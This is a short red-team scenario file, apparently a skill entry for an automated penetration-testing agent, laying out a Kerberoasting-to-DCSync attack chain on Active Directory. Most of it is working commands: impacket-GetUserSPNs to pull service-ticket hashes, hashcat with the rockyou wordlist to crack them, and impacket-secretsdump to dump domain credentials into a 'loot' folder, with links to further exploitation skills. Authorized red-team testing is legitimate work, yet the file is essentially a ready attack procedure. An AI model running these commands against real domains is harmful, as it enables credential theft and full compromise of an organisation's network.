---
name: rt-scenario-b001
description: "Scenario B001 — AD: Kerberoasting service account with weak password → lateral movement → DCSync → full domain compromise."
---

# Scenario B001: Kerberoasting → Domain Compromise

**Domain**: Active Directory | **Severity**: Critical | **CVSS**: 9.9

## Chain
```
Domain user creds → GetUserSPNs → offline crack weak SPN password →
lateral movement to service account → BloodHound DA path → DCSync
```

## Key Commands
```bash
docker exec rtexit-kali bash -c "
impacket-GetUserSPNs {domain}/{user}:{pass} -dc-ip {dc_ip} \
  -outputfile /workspace/findings/loot/kerberoast.txt

hashcat -m 13100 /workspace/findings/loot/kerberoast.txt \
  /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

impacket-secretsdump {domain}/{svc_account}:{cracked_pass}@{dc_ip} \
  -o /workspace/findings/loot/ntds"
```
→ `rt-exploit-active-directory` → `rt-credential-access` → `rt-lateral-movement`
